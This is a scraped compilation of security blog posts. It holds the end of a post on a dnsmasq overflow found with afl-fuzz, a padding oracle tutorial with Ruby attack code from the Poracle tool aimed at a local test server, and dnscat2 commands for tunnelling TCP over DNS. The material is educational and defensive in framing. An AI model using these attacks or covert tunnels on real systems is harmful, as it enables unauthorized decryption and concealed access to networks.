      struct ping_result *ping_results;
      FILE *lease_stream;
      struct dhcp_bridge *bridges;
    #ifdef HAVE_DHCP6
      int duid_len;
      unsigned char *duid;
      struct iovec outpacket;
      int dhcp6fd, icmp6fd;
    #endif
      /* DBus stuff */
      /* void * here to avoid depending on dbus headers outside dbus.c */
      void *dbus;
    #ifdef HAVE_DBUS
      struct watch *watches;
    #endif
    
      /* TFTP stuff */
      struct tftp_transfer *tftp_trans, *tftp_done_trans;
    
      /* utility string buffer, hold max sized IP address as string */
      char *addrbuff;
      char *addrbuff2; /* only allocated when OPT_EXTRALOG */
    } *daemon;
    

    I haven't measured how far into that structure you can write, but the total number of bytes we can write into the 1024-byte buffer is 1368 bytes, so somewhere in the realm of the first 300 bytes are at risk.

    The reason we saw a "null pointer dereference" and also a "write NUL byte to arbitrary memory" are both because we overwrote variables from that structure that are used later.

    Patch

    The patch is pretty straight forward: add 1 to namelen for the periods. There was a second version of the same vulnerability (forgotten period) in the 0x40 handler as well.

    But..... I'm concerned about the whole idea of building a string and tracking the length next to it. That's a dangerous design pattern, and the chances of regressing when modifying any of the name parsing is high.

    Exploit so-far

    I started writing an exploit for it. Before I stopped, I basically found a way to brute-force build a string that would overwrite an arbitrary number of bytes by adding the right amount of padding and the right number of periods. That turned out to be a fairly difficult job, because there are various things you have to juggle (the padding at the front of the string and the size of the repeated field). It turns out, the maximum length you can get is 1368 bytes put into a 1024-byte buffer.

    You can download it here.

    ...why it never got famous

    I held this back throughout the blog because it's the sad part. :)

    It turns out, since I was working from the git HEAD version, it was brand new code. After bissecting versions to figure out where the vulnerable code came from, I determined that it was present only in 2.73rc5 - 2.73rc7. After I reported it, the author rolled out 2.73rc8 with the fix.

    It was disappointing, to say the least, but on the plus side the process was interesting enough to write about! :)

    Conclusion

    So to summarize everything...

    • I modified dnsmasq to read packets from a file instead of the network, then used afl-fuzz to fuzz and crash it.
    • I found a vulnerability that was recently introduced, when parsing "\xc0\x0c" names + using periods.
    • I triaged the vulnerability, and started writing an exploit.
    • Determined that the vulnerability was in brand new code, so I gave up on the exploit and decided to write a blog instead.

    And who knows, maybe somebody will develop one for fun? If anybody does, I'll give them a month of Reddit Gold!!!! :)

    (I'm kidding about using that as a motivator, but I'll really do it if anybody bothers :P)

    13 thoughts on “How I nearly almost saved the Internet, starring afl-fuzz and dnsmasq

    1. Reply

      Anon

      So what you're saying is you spent a ton of time and effort making sure that a bug never got released into the wild by doing prerelease testing and patch production? What's disappointing about that? You're a hero - thank you!

      1. Reply

        Ron Bowes Post author

        Yeah, I think it helped the world, and I was literally doing my job. :)

        But there's always that "find and exploit a cool 0-day" itch!

    2. Reply

      Spamfarm

      This brings up a very good point re: incentives!

      If you waited, thousands of ops teams would have to deploy an emergency patch ... but you'd have a moment in the spotlight.

      Thank you for being an ethical person. I only wish this comment could garner you the kind of industry awareness a l33t 0-day would.

      1. Reply

        Ron Bowes Post author

        Yeah, that's a great point! If I'd waited 6 months or a year, then either somebody else would have found/burnt the 0-day, I would have had a way to access a TON of networks, or I would have been able to create a media shitstorm.

        (As much as it could be fun to create a media shitstorm, it's also stressful, so maybe this is better :) )

    3. Reply

      Anonymous

      Why the fuck am I not allowed to zoom on your shitty website on my iPad. Too small. Not going to read it.

      1. Reply

        Ron Bowes Post author

        Hmm, that sucks! I guess the theme's no good at ipads :(

    4. Reply

      Anonymous

      If you re-run afl-fuzz on the fixed version, do you get any crashes at all?

      1. Reply

        Ron Bowes Post author

        No, once the two vulns were fixed (in 0x40 and in normal text), no more crashes.

    5. Reply

      Anonymous

      Overwriting "luascript" seems like the obvious target for an exploit, if you can point it to the content of your packet.

      1. Reply

        Ron Bowes Post author

        The problem with 'luascript' is that lua is off by default, I think

    6. Reply

      geeknik

      Following along to your blog post, I cloned the official dnsmasq git repo and added in your #ifdef FUZZ portions. Compiled with no problems, but when I try to run dnsmasq with --client-fuzz or --server-fuzz I get this:

      dnsmasq: bad command line options: unsupported option (check that dnsmasq was compiled with DHCP/TFTP/DNSSEC/DBus support)

      Thoughts?

      1. Reply

        Ron Bowes Post author

        @geeknik - hmm, not sure! Maybe it has different defaults on different OSes? That seems unlikely though...

    7. Reply

      en

      hi,

      i "just found it". and must say, this is one of the best post i've ever read about it.

      really appreciate your job. keep going;)

      take care

      o/

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### Padding oracle attacks: in depth » SkullSecurity


    Padding oracle attacks: in depth

    This post is about padding oracle vulnerabilities and the tool for attacking them - "Poracle" I'm officially releasing right now. You can grab the Poracle tool on Github!

    At my previous job — Tenable Network Security — one of the first tasks I ever had was to write a vulnerability check for MS10-070 — a padding oracle vulnerability in ASP.net. It's an interesting use of a padding oracle vulnerability, since it leads to code execution, but this blog is going to be a more general overview of padding oracles. When I needed to test this vuln, I couldn't find a good writeup on how they work. The descriptions I did find were very technical and academic, which I'm no good at. In fact, when it comes to reading academic papers, I'm clueless and easily frightened. But, I struggled through them, and now I'm gonna give you a writeup that even I'd be able to understand!

    By the way, the Wikipedia page for this attack isn't very good. If somebody wants to summarize my blog and make it into a Wikipedia page, there's now a source you can reference. :)

    On a related note, I'm gonna be speaking at Shmoocon in February: "Crypto: You're doing it wrong". Among other things, I plan to talk about padding oracles and hash extension attacks — I'm really getting into this crypto thing!

    Overview

    Padding oracle attacks — also known as Vaudenay attacks — were originally published in 2002 by Serge Vaudenay. As I mentioned earlier, in 2010 it was used for code execution in ASP.net.

    First, let's look at the definition of an "oracle". This has nothing to do with the Oracle database or the company that makes Java — they have enough vulnerabilities of their own without this one (well, actually, Java Server Faces ironically suffered from a padding oracle vulnerability, but I think that's before Oracle owned them). In cryptography, an oracle — much like the Oracle of Delphi — is a system that will perform given cryptographic operations on behalf of the user (otherwise known as the attacker). A padding oracle is a specific type of oracle that will take encrypted data from the user, attempt to decrypt it privately, then reveal whether or not the padding is correct. We'll get into what padding is and why it matters soon enough.

    Example

    Okay, so we need an oracle that will decrypt arbitrary data, secretly. When the heck does that happen?

    Well, it turns out, it happens a lot. Every time there's an encrypted connection, in fact, one side is sending the other data that the latter attempts to decrypt. Of course, to do anything interesting in that situation, it requires a man-in-the-middle attack — or something similar — and a protocol that allows unlimited retries to actually be interesting. For the purposes of simplicity, let's look at something easier.

    Frequently — in a practice that I don't think is a great idea — a Web server will entrust a client with encrypted data in either a cookie or a hidden field. The advantage to doing this is that the server doesn't need to maintain state — the client holds the state. The disadvantage is that, if the client can find a way to modify the encrypted data, they can play with private state information. Not good. In the case of ASP.net, this was enough to read/write to the filesystem.

    So, for the purpose of this discussion, let's imagine a Web server that puts data in a hidden field/cookie and attempts to decrypt the data when the client returns it, then reveals to the client whether or not the padding was correct, for example by returning a Web page with the user logged-in.

    Block ciphers

    All right, now that we have the situation in mind, let's take a step back and look at block ciphers.

    A block cipher operates on data in fixed-size blocks — 64-bit for DES, 128-bit for AES, etc. It encrypts each block then moves onto the next one, and the next one, and so on. When the data is decrypted, it also starts with the first block, then the next, and so on.

    This leads to two questions:

    1. What happens if the length of the data isn't a multiple of the block size?
    2. What happens if more than one block is identical, and therefore encrypts identically?

    Let's look at each of those situations...

    Padding

    Padding, padding, padding. Always with the padding. So, every group of cryptographic standards uses different padding schemes. I don't know why. There may be a great reason, but I'm not a mathematician or a cryptographer, and I don't understand it. In the hash extension blog I wrote awhile back, I talked about how hashing algorithms pad — by adding a 1 bit, followed by a bunch of 0 bits, then the length (so, in terms of bytes, "\x80\x00\x00\x00 ... <length>"). That's not how block ciphers pad.

    Every block cipher I've seen uses PKCS7 for padding. PKCS7 says that the value to pad with is the number of bytes of padding that are required. So, if the blocksize is 8 bytes and we have the string "ABC", it would be padded "ABC\x05\x05\x05\x05\x05". If we had "ABCDEFG", with padding it would become "ABCDEFG\x01".

    Additionally, if the string is a multiple of the blocksize, an empty block of only padding is appended. This may sound weird — why use padding when you don't need it? — but it turns out that you couldn't otherwise distinguish, for example, the string "ABCDEFG\x01" from "ABCDEFG" (the "\x01" at the end looks like padding, but in reality it's part of the string). Therefore, "ABCDEFGH", with padding, would become "ABCDEFGH\x08\x08\x08\x08\x08\x08\x08\x08".

    Exclusive or (XOR)

    This is just a very quick note on the exclusive or — XOR — operator, for those of you who may not be familiar with its crypto usage. XOR — denoted as '⊕' throughout this document and usually denoted as '^' in programming languages — is a bitwise operator that is used, in crypto, to mix two values together in a reversible way. A plaintext XORed with a key creates ciphertext, and XORing it with that the key again restores the plaintext. It is used for basically every type of encryption in some form, due to this reversible properly, and the fact that once it's been XORed, it doesn't reveal any information about either value.

    XOR is also commutative and a bunch of other mathy stuff. To put it into writing:

      A ⊕ A = 0
      A ⊕ 0 = A
      A ⊕ B = B ⊕ A
      (A ⊕ B) ⊕ C = A ⊕ (B ⊕ C)
      ∴ A ⊕ B ⊕ B = A ⊕ (B ⊕ B) = A ⊕ 0 = A
    

    If you don't fully understand every line, please read up on the bitwise XOR operator before you continue! You won't understand any of this otherwise. You need to be very comfortable with how XOR works.

    When we talk about XORing, it could mean a few things:

    • When we talk about XORing bits, we simply XOR together the two arguments (0⊕0=0, 0⊕1=1, 1⊕0=1, 1⊕1=0)
    • When we talk about XORing bytes, we XOR each bit in the first argument with the corresponding bit in the second
    • When we talk about XORing strings, we XOR each byte in the first string with the corresponding byte in the second. If they have different lengths there's a problem in the algorithm and any result is invalid

    Cipher-block chaining (CBC)

    Now, this is where things get interesting. CBC. And not the Canadian television station, either — the cryptographic construct. This is what ensures that no two blocks — even if they contain identical plaintext — will encrypt to the same ciphertext. It does this by mixing the ciphertext from the previous round into the plaintext of the next round using the XOR operator. In mathematical notation:

      Let P   = the plaintext, and Pn = the plaintext of block n.
      Let C   = the corresponding ciphertext, and Cn = the ciphertext of block n.
      Let N   = the number of blocks (P and C have the same number of blocks by
                definition).
      Let IV  = the initialization vector — a random string — frequently
                (incorrectly) set to all zeroes.
      Let E() = a single-block encryption operation (any block encryption algorithm, such
                as AES or DES, it doesn't matter which), with some unique and unknown (to
                the attacker) secret key (that we don't notate here).
      Let D() = the corresponding decryption operation.
    

    We can then define the encrypted ciphertext — C — in terms of the encryption algorithm, the plaintext, and the initialization vector:

      C1 = E(P1 ⊕ IV)
      Cn = E(Pn ⊕ Cn-1) — for all n > 1
    

    You can use this Wikipedia diagram to help understand.

    In English, the first block of plaintext is XORed with an initialization vector. The rest of the blocks of plaintext are XORed with the previous block of ciphertext. Thinking of the IV as C0 can be helpful.

    Decryption is the opposite:

      P1 = D(C1) ⊕ IV
      Pn = D(Cn) ⊕ Cn-1 - for all n > 1
    

    You can use this Wikipedia diagram to help understand.

    In English, this means that the first block of ciphertext is decrypted, then XORed with the IV. Remaining blocks are decrypted then XORed with the previous block of ciphertext. Note that this operation is between a ciphertext block — that we control — and a plaintext block — that we're interested in. This is important.

    Once all blocks are decrypted, the padding on the last block is validated. This is also important.

    The attack

    Guess what? We now know enough to pull of this attack. But it's complicated and requires math, so let's be slow and gentle. [Editor's note: TWSS]

    First, the attacker breaks the ciphertext into the individual blocks, based on the blocksize of the algorithm. We're going to decrypt each of these blocks separately. This can be done in any order, but going from the last to the first makes the most sense. CN — remembering that C is the ciphertext and N is the number of blocks — is the value we're going to attack first.

    Next, the attacker generates his own block of ciphertext. It doesn't matter what it decrypts to or what the value is. Typically we start with all zeroes, but any random text will work fine. In the tool I'm releasing, this is optimized for ASCII text, but that's beyond the scope of this discussion. We're going to denote this block as C′.

    The attacker creates the string (C′ || Cn) — "||" is the concatenation operator in crypto notation — and sends it to the oracle for decryption. The oracle attempts to decrypt the string as follows:

      Let C′     = our custom-generated ciphertext block
      Let C′[k]  = the kth byte of our custom-generated ciphertext block
      Let P′     = the plaintext generated by decrypting our string, (C′ || Cn)
      Let P′n    = the nth block of P′
      Let P′n[k] = kth byte of the nth plaintext block
      Let K      = the number of bytes in each block
    

    Now, we can define P′ in terms of our custom ciphertext, the IV, and the decryption function:

      P′1 = D(C′) ⊕ IV
      P′2 = D(CN) ⊕ C′
    

    This shows the two blocks we created being decrypted in the usual way — Pn = D(Cn) ⊕ Cn-1.

    P′1 is going to be meaningless garbage — we don't care what it decrypts to — but P′2 is where it gets interesting! Let's look more closely at P′2:

      Given:       P′2 = D(Cn) ⊕ C′
      And knowing: Cn  = E(Pn ⊕ Cn-1)
      Implies:     P′2 = D(E(Pn ⊕ Cn-1)) ⊕ C′
    

    Remember, the variables marked with prime — ′ — are ones that result from our custom equation, and variables without a prime are ones from the original equation.

    We know that D(E(x)) = x, by the definition of encryption, so we can reduce the most recent formula to:

      P′2 = Pn ⊕ Cn-1 ⊕ C′
    

    Now we have four values in our equation:

    • P′2: An unknown value that the server calculates during our "attack" (more on this later).
    • Pn: An unknown value that we want to determine, from the original plaintext.
    • Cn-1: A known value from the original ciphertext.
    • C′: A value that we control, and can change at will.

    You might see where we're going with this! Notice that we have a formula for Pn that doesn't contain any encryption operations, just XOR!

    The problem is, we have two unknown values: we don't know P′2 or Pn. A formula with two unknowns can't be solved, so we're outta luck, right?

    Or are we?

    Here comes the oracle!

    Remember, we have one more piece of information — the padding oracle! That means that we can actually determine when P′2[K] — the last byte of P′2 — is equal to "\x01" (in other words, we can determine when P′2 has valid padding)!

    So now, let's take the formula we were using earlier, but instead of looking at the full strings, we'll look specifically at the last character of the encrypted strings:

      P′2[K] = Pn[K] ⊕ Cn-1[K] ⊕ C′[K]
    

    We send (C′ || Cn) to the oracle with every possible value of C′[K], until we find a value that doesn't generate a padding error. When we find that value, we know beyond any doubt that the value at P′2[K] is "\x01". Otherwise, the padding would be wrong. It HAS to be that way (actually, that's not entirely true, it can be "\x02" if P′2[K-1] is "\x02" as well — we'll deal with that later).

    At that point, we have the following variables:

    • P′2[K]: The valid padding value ("\x01").
    • Pn[K]: The last byte of plaintext — our unknown value.
    • Cn-1[K]: The last byte of the previous block of ciphertext — a known value.
    • C′[K]: The byte we control — and previously modified — to create the valid padding.

    All right, we have three known variables! Let's re-write the equation a little — XOR being commutative, we're allowed to move variables around at will:

      Original:       P′2[K] = Pn[K] ⊕ Cn-1[K] ⊕ C′[K]
      Re-arranged:    Pn[K] = P′2[K] ⊕ Cn-1[K] ⊕ C′[K]
      Substitute "1": Pn[K] = 1 ⊕ Cn-1[K] ⊕ C′[K]
    

    We just defined Pn[K] using three known variables! That means that we plug in the values, and "turn the crank" as my former physics prof used to say, and we get the last byte of plaintext. Why? Because MATH!

    Stepping back a bit

    So, the math checks out, but what's going on conceptually?

    Have another look at the Wikipedia diagram of cipher-block chaining. We're interested in the box in the very bottom-right corner — the padding. That value, as you can see on the diagram, is equal to the ciphertext left of it, XORed with the decrypted text above it.

    Notice that there's no actual crypto that we have to defeat — just the XOR operation between a known value and the unknown value to produce a known value. Pretty slick, eh? Fuck your keys and transposition and s-boxes — I just broke your encryption after you did all that for me! :)

    Iterating

    So, we now know the value of the last character of PN. That's pretty awesome, but it's also pretty boring, because the last byte is guaranteed to be padding (well, only if this is the last block). The question is, how do we get the second-, third-, and fourth-last bytes?

    How do we calculate PN[K-1]? Well, it turns out that it's pretty simple. If you've been following so far, you can probably already see it.

    First, we have to set C′[K] to an appropriate value such that P′[K] = 2. Why 2? Because we are now interested the second-last byte of P′N, and we can determine it by setting the last byte to 2, and trying every possible value of C′[K-1] until we stop getting padding errors, confirming that P′N ends with "\x02\x02".

    Ensuring that P′[K] = 2 easy (although you don't realize how easy until you realize how long it took me to work out and explain this formula for the blog); we just take this formula that we derived earlier, plug in '2' for P′[K], and solve for C′[K]:

      We have:         C′[K] = P′2[K] ⊕ PN[K] ⊕ CN-1[K]
      Plug in the "2": C′[K] = 2 ⊕ PN[K] ⊕ CN-1[K]
    

    Where our variables are defined as:

    • C′[K] — The last byte in the C′ block, which we're sending to the oracle and that we fully control.
    • PN[K] — The last byte in this block's plaintext, which we've solved for already.
    • CN-1[K] — The last byte in the previous ciphertext block, which we know.

    I don't think I have to tell you how to calculate PN[K-2], PN[K-3], etc. It's the same principle, applied over and over from the end to the beginning.

    A tricky little thing called the IV

    In the same way that we can solve the last block of plaintext — PN — we can also solve other blocks PN-1, PN-2, etc. In fact, you don't even have to solve from right to left — each block can be solved in a vacuum, as long as you know the ciphertext value of the previous block.

    ...which brings us to the first block, P1. Earlier, we stated that P1 is defined as:

      P1 = D(C1) ⊕ IV
    

    The "last block" value for P1 — the block we've been calling Cn-1 — is the IV. So what do you do?

    Well, as far as I can tell, there's no easy answer. Some of the less easy answers are:

    • Try a null IV — many implementations won't set an IV — which, of course, has its own set of problems. But it's common, so it's worth trying.
    • If you can influence text near the beginning of the encrypted string — say, a username — use as much data as possible to force the first block to be filled with stuff we don't want anyway.
    • Find a way to reveal the IV, which is fairly unlikely to happen.
    • If you can influence the hashing algorithm, try using an algorithm with a shorter blocksize (like DES, which has a blocksize of 64 bits — only 8 bytes).
    • If all else fails, you're outta luck, and you're only getting the second block and onwards. Sorry!

    Poracle

    If you follow my blog, you know that I rarely talk about an interesting concept without releasing a tool. That ain't how I roll. So, I present to you: Poracle (short for 'padding oracle', get it?)

    Poracle is a library that I put together in Ruby. It's actually really, really simple. You have to code a module for the particular attack — unfortunately, because every attack is different, I can't make it any simpler than that. The module needs to implement a couple simple methods for getting values — like the blocksize and, if possible, the IV. The most important method, however, is attempt_decrypt(). It must attempt to decrypt the given block and return a boolean value based on its success — true if the padding was good, and false if it was not. Here's an example of a module I wrote for a HTTP service:

    ##
    # RemoteTestModule.rb
    # Created: December 10, 2012
    # By: Ron Bowes
    #
    # A very simple implementation of a Padding Oracle module. Basically, it
    # performs the attack against an instance of RemoteTestServer, which is an
    # ideal padding oracle target.
    ##
    #
    require 'httparty'
    
    class RemoteTestModule
      attr_reader :iv, :data, :blocksize
    
      NAME = "RemoteTestModule(tm)"
    
      def initialize()
        @data = HTTParty.get("http://localhost:20222/encrypt").parsed_response
        @data = [@data].pack("H*")
        @iv = nil
        @blocksize = 16
      end
    
      def attempt_decrypt(data)
        result = HTTParty.get("http://localhost:20222/decrypt/#{data.unpack("H*").pop}")
    
        return result.parsed_response !~ /Fail/
      end
    
      def character_set()
        # Return the perfectly optimal string, as a demonstration
        return ' earnisoctldpukhmf,gSywb0.vWD21'.chars.to_a
      end
    end
    

    Then, you create a new instance of the Poracle class, pass in your module, and call the decrypt() method. Poracle will do the rest! It looks something like this:

    1 begin
    2   mod = RemoteTestModule.new
    3   puts Poracle.decrypt(mod, mod.data, mod.iv, true, true)
    4 rescue Errno::ECONNREFUSED => e
    5   puts(e.class)
    6   puts("Couldn't connect to remote server: #{e}")
    7 end
    

    For more information, grab Poracle.rb and read the header comments. It'll be more complete and up-to-date than this blog post can ever be.

    I implemented a couple test modules — a local and a remote. LocalTestModule.rb will generate its own ciphertext with any algorithm you want, then attempt_decrypt() simply tries to decrypt it in-line. Not very interesting, but good to make sure I didn't break anything.

    RemoteTestModule.rb is more interesting. It comes with a server — RemoteTestServer.rb — which runs on Sinatra. The service is the simplest padding oracle vulnerability you can imagine — it has a path — "/encrypt" — that retrieves an encrypted string, and another path — "/decrypt" — that tries to decrypt it and reports "success" or "fail". That's it.

    To try these, either just run "ruby DoTests.rb" or start the server with "ruby RemoteTestServer.rb" and then, in another window (or whatever), run "ruby DoTests.rb remote".

    One interesting tidbit — Poracle doesn't actually require OpenSSL to function, or even an encryption library. All encryption and decryption are done by the service, not by Poracle. In fact, Poracle itself has not a single dependency (although the test modules do require OpenSSL, obviously, as well as Sinatra and httparty for the remote test module.

    Backtracking

    Do you ever have that feeling that you're an idiot? I do, on a regular basis, and I'm not really sure why... but I'm gonna tell you a story about the development of Poracle that helps explain why I never want to be a real programmer.

    So, while developing Poracle, I was worried about false positives and backtracking. What happens if I was trying to guess the last byte and instead of "xx yy zz 01", we wound up with "xx yy zz 02", where zz = "02"? "02 02", or two twos, is valid padding. That means we thought we'd guessed a "01", but it's actually "02"! False positive!

    That's obviously a problem, but I went further, well into the regions of insanity. What if we're cracking the second-last digit and it was a "03"? What if we're on the 13th digit and it's a "0d"? So, I decided I'd do backtracking. After finding each digit, I'd recurse, and find the next. If none of the 256 possible characters works for the next byte, I'd return and the caller would continue guessing bytes. That made things complicated. It's recursion, that's what it's for!

    Then, to speed things up and clean up some of the code, I tried to convert it to iteration. Haha. Trying to go back and forth in an array to track where we were left off when we hit the bad padding was painful. I will spare you the madness of explaining where I went with that. It wasn't pretty.

    That's when I started talking to Mak, who, contrary to popular belief, can actually save your sanity and not just drain it! He also makes a perfect rubber duck. Although he wasn't answering on IRC, I realized something just by explaining the problem to him — I can only ever get a padding error on the last digit of each block, because once I've sure — positive — that the last digit is "\x01", we can reliably set it to "\x02", "\x03", etc. Because math! That means that we only have to worry about accidentally getting "\x02\x02", "\x03\x03\x03", "\x04\x04\x04\x04", etc, on the last digit of the block, nowhere else.

    Once I realized that, it was easy! After we successfully determine the last digit, we make one more request, where we XOR the second-last byte with "\x01". That means if that the string was originally ending with "\x02\x02", it would end with "\x03\x02" and the padding would fail.

    So, with one extra request, I can do a nice, simple, clean, iterative algorithm, instead of a crazy complex recursive one. And that opened the door to... optimization!

    Optimization

    So, now we have clean, working code. However, this effectively guesses characters randomly. We try "\x00" to "\xFF" for the last byte of C′, but after all the XOR operations, the order that values are guessed for Pn is effectively random. But, what if instead of guessing values for C′, you guessed values for Pn? The math is actually quite simple and is based on this formula:

      Pn[k] = 1 ⊕ Cn-1[k] ⊕ C′[k]
    

    Instead of choosing values for C′[k], you can choose the value for Pn[k] that you want to guess, then solve for C′[k]

    Since most strings are ASCII or, at least, in some way predictable, I started guessing each character in order, from 0 to 255. Since ASCII tends to be lower, it sped things up by a significant amount. After some further tweaking, I came up with the following algorithm:

    • If we're at the end of the last block, we start with guessing at "\x01", since that's the lowest possible byte that the (actual) padding can be.
    • The last byte of the block is padding, so for that many bytes from the end, we guess the same byte. For example, if the last byte is "\x07", we guess "\x07" for the last 7 bytes — this lets us determine the padding bytes on our first guess every time!
    • Finally, we weight more heavily toward ASCII characters, in order of the frequency that they occur in the English language, based on text from the Battlestar Galactica Wiki because, why not Cylon?

    On my test block of text, running against a Web server on localhost, I improved a pretty typical attack from 33,020 queries taking 63 seconds to 2,385 queries and 4.71 seconds.

    Ciphers

    One final word — and maybe this will help with Google results :) — I've tested this successfully against the following ciphers:

    • CAST-cbc
    • aes-128-cbc
    • aes-192-cbc
    • aes-256-cbc
    • bf-cbc
    • camellia-128-cbc
    • camellia-192-cbc
    • camellia-256-cbc
    • cast-cbc
    • cast5-cbc
    • des-cbc
    • des-ede-cbc
    • des-ede3-cbc
    • desx-cbc
    • rc2-40-cbc
    • rc2-64-cbc
    • rc2-cbc
    • seed-cbc

    But that's not interesting, because this isn't an attack against ciphers. It's an attack against cipher-block chaining — CBC — that can occur against any block cipher.

    Conclusion

    So, hopefully you understand a little bit about how padding oracles work. If you haven't read my blog about hash extension attacks, go do that. It's pretty cool. Otherwise, if you're going to be around for Shmoocon in DC this winter, come see my talk!

    22 thoughts on “Padding oracle attacks: in depth

    1. Reply

      Robert Nils

      It is your second post about Thai Duong and Juliano Rizzo work and you didn't mention it: http://netifera.com/research/

      1. Reply

        Ron Bowes Post author

        @Robert - good point, I should give them a shout out! I never directly use their work, but their stuff is definitely inspiring and super cool!

    2. Reply

      Kevin

      Thanks for this, makes it easy to understand. Keep up the good work and tutorials

    3. Reply

      Parsia

      That's an excellent write up. We did one for an assignment in a grad course. I had the same problem, that academic texts about this attack were vague and unpractical.

    4. Reply

      Alex Lauerman

      I agree that this is just indirectly related to Thai Doung's & Julliano Rizzo's work. They didn't invent these attacks, they just implemented them in really cool ways.

      How does MS10-070 lead to code execution? I've never heard that. I realize it can very indirectly lead to code execution, but as you stated it, it's misleading.

      You may want to check out the GDS's blog. I found it to be much less academic than this explanation. I enjoyed reading your writeup, but GDS's graphics were much more clear to me than looking at formulas. http://blog.gdssecurity.com/labs/2010/9/14/automated-padding-oracle-attacks-with-padbuster.html

      Standard practice is to prepended the IV to the ciphertext. The IV is not supposed to be secret. So you shouldn't need to work too hard to recover the IV.

      1. Reply

        Ron Bowes Post author

        @Alex - MS10-070 let you decrypt and change a path to the web.config file, iirc. I forget the exact details, but that was the idea.

    5. Reply

      phocean

      Hi Ron,

      Thanks for this write-up. In the past, I had the same issue as you, reading several articles and trying to understand this.

      Yours is certainly the clearest I have seen, so you succeeded in your goal.

      As Boileau said: “Whatever we well understand we express clearly, and words flow with ease.”

      Thank you for sharing.

    6. Reply

      Alex Lauerman

      Web.config can have db creds in it, which can lead to code execution if you can escalate privs on the database. Usually it does have DB creds and often you can escalate privs on the DB, but usually you can't connect to the DB since it's firewalled off. Very serious stuff, but it'd be more accurate to say that it *can sometimes* lead to code execution.

      It may seems like I'm nitpicking, but I'm really just trying to understand if there's a better way to compromise servers that are vulnerable to ms10-070.

      1. Reply

        Ron Bowes Post author

        @Alex - from what I understand, it let you *change* the path where the application looksf or web.config (or some other file that let you execute code on behalf of IIS).

        It's been a couple years, I don't remember it so well..

    7. Reply

      jiva

      Hi. Under the "Padding" section, did you mean "ABCDEFGH" instead of "ABCDEFG" when you were talking about how to distinguish the last blocks as either padding or not?

    8. Reply

      Robin

      Great article now I've finally had chance to read it without being disturbed.

      Typo for you, near the end "because once I've sure"

    9. Reply

      Derek

      It does not lead to code execution. The padding oracle vulnerability simply lets you decrypt existing strings or encrypt new ones. This lets you encrypt and craft a special request to subvert ScriptResource.axd handler into fetching web.config from the filesystem and serving it, which is usually denied by IIS. You can read the web.config and obtain juicy details (hopefully) but that's it. You're reaching if you then think that leads to code execution.

    10. Reply

      Anonymous

      Hi. Could you write a blog post about null IVs? I'm very interested and I appreciate your crypto posts.

    11. Reply

      mehdim

      how we use your tool in url's like http://www.example.com/ScriptResource.axd?...

      Thank you

    12. Reply

      casper

      Your writings were the most insightful I could find on padding oracle attacks in the internet. Thank you!

    13. Reply

      dennis

      I've got a request: Can you explain padding oracle attacks with a basic step-by-step example? I don't do math symbols very well without something concrete to follow along with and still found your description too difficult to follow. An encrypted string that is used throughout the article to demonstrate the concepts would help a lot. Modifying your blog post might be easier than trying to reply to my comment.

    14. Reply

      Shai

      I really enjoyed that read, sure its a little 'math-heavy' but a really good explanation to someone who doesn't have a clue! :) Thanks

    15. Reply

      wclewis

      I am a programmer and recently struggled through writing an Oracle for a class assignment. It appeared to me that I had gotten the entire text however some portion was incorrect.

      So I went looking for a careful description of the process starting with the 2002 paper. I figured I missed something and you explanation of the math was just what I needed.

      Thanks :)

    16. Reply

      To picoCTF 2013 Players...

      ... don't make the same mistake that I did. You can't use Poracle to solve the challenge. The problem does not give you the ciphered data (A.K.A. the data variable of your module). I spent several hours learning Ruby and figuring out how to work TCPSocket only to find out I couldn't use it. :) It was fun, at least.

    17. Reply

      Anuja

      Simple and effective explanation of the oracle attack! Kudos!

    18. Reply

      Mike

      Is it possible to carry out the padding oracle attack (or similar) on an oracle which does not validate all padding bytes? That is, it only checks the last byte of decrypted ciphertext and truncates as many bytes as that byte says.

    19. Reply

      hatoan

      How to decrypted system know P2' is invaild padding?

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### January » 2011 » SkullSecurity

    Ethics of password cracking/dissemination

    It's rare these days for me to write blogs that I have to put a lot of thought into. Most of my writing is technical, which comes pretty naturally, but I haven't written an argument since I minored in philosophy. So, if my old Ethics or Philosophy profs are reading this, I'm sorry!

    #####EOF##### Reviews » SkullSecurity

    Book review: The Car Hacker’s Handbook

    So, this is going to be a bit of an unusual blog for me. I usually focus on technical stuff, exploitation, hacking, etc. But this post will be a mixture of a book review, some discussion on my security review process, and whatever asides fall out of my keyboard when I hit it for long […]

    #####EOF##### dnscat2 0.05: with tunnels! » SkullSecurity


    dnscat2 0.05: with tunnels!

    Greetings, and I hope you're all having a great holiday!

    My Christmas present to you, the community, is dnscat2 version 0.05!

    Some of you will remember that I recently gave a talk at the SANS Hackfest Summit. At the talk, I mentioned some ideas for future plans. That's when Ed jumped on the stage and took a survey: which feature did the audience want most?

    The winner? Tunneling TCP via a dnscat. So now you have it! Tunneling: Phase 1. :)

    Info and downloads.

    High-level

    There isn't a ton to say about this feature, so this post won't be particularly long. I'll give a quick overview of how it works, how to use it, go into some quick implementation details, and, finally, talk about my future plans.

    On a high level, this works exactly like ssh with the -L argument: when you set up a port forward in a dnscat2 session, the dnscat2 server will listen on a specified port. Say, port 2222. When a connection arrives on that port, the connection will be sent - via the dnscat2 session and out the dnscat2 client - to a specified server.

    That's pretty much all there is to it. The user chooses which ports to listen on, and which server/port to connect to, and all connections are forwarded via the tunnel.

    Let's look at how to use it!

    Usage

    Tunneling must be used within a dnscat2 session. So first you need one of those, no special options required:

    (server)
    
    # ruby ./dnscat2.rb
    New window created: 0
    
    [...]
    
    dnscat2>
    
    (client)
    
    $ ./dnscat --dns="server=localhost,port=53"
    Creating DNS driver:
     domain = (null)
     host   = 0.0.0.0
     port   = 53
     type   = TXT,CNAME,MX
     server = localhost
    
    Encrypted session established! For added security, please verify the server also displays this string:
    
    Encode Surfs Taking Spiced Finer Sonny
    
    Session established!
    

    We, of course, take the opportunity to validate the six words - "Encode Surfs Taking Spiced Finer Sonny" - to make sure nobody is performing a man-in-the-middle attack against us (considering this is directly to localhost, it's probably okay :) ).

    Once you have a session set up, you want to tell the session to listen with the listen command:

    New window created: 1
    Session 1 security: ENCRYPTED BUT *NOT* VALIDATED
    For added security, please ensure the client displays the same string:
    
    >> Encode Surfs Taking Spiced Finer Sonny
    
    dnscat2> session -i 1
    [...]
    dnscat2> listen 8080 www.google.com:80
    Listening on 0.0.0.0:8080, sending connections to www.google.com:80
    

    Now the dnscat2 server is listening on port 8080. It'll continue listening on that port until the session closes.

